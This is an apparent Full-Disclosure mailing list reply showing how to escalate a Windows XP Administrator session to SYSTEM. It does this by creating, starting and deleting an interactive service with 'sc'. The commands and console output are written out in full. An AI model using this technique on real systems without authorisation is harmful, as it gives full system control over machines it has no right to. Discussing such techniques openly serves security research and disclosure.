Re: elevating privileges from Admin to SYSTEM

[Yorn <yorn () governmentsecurity org>]

Regarding...

>It's been a while since I played on a Windows box, but I believe you 
can also create a service which launches
> a useful process (e.g.: "explorer.exe", "cmd.exe") as "Local System". 
Furthermore, I believe that you can do
> this as a "Power User" too.

&

>Must check a bit that service lauching thing Nick suggested...

How-To
------------------------
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\>sc create systemtest binpath= "cmd /K start" type= own type= interact
[SC] CreateService SUCCESS

C:\>sc start systemtest
[SC] StartService FAILED 1053:

The service did not respond to the start or control request in a timely 
fashion.

C:\>sc delete systemtest
[SC] DeleteService SUCCESS
------------------------

After the second command, it will pop open a command window with system 
privileges. I don't think this method works as Power User, but it's 
quicker than waiting for AT. Also, I stole this from a blog, the 
original info is here:
http://blogs.msdn.com/adioltean/articles/271063.aspx

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/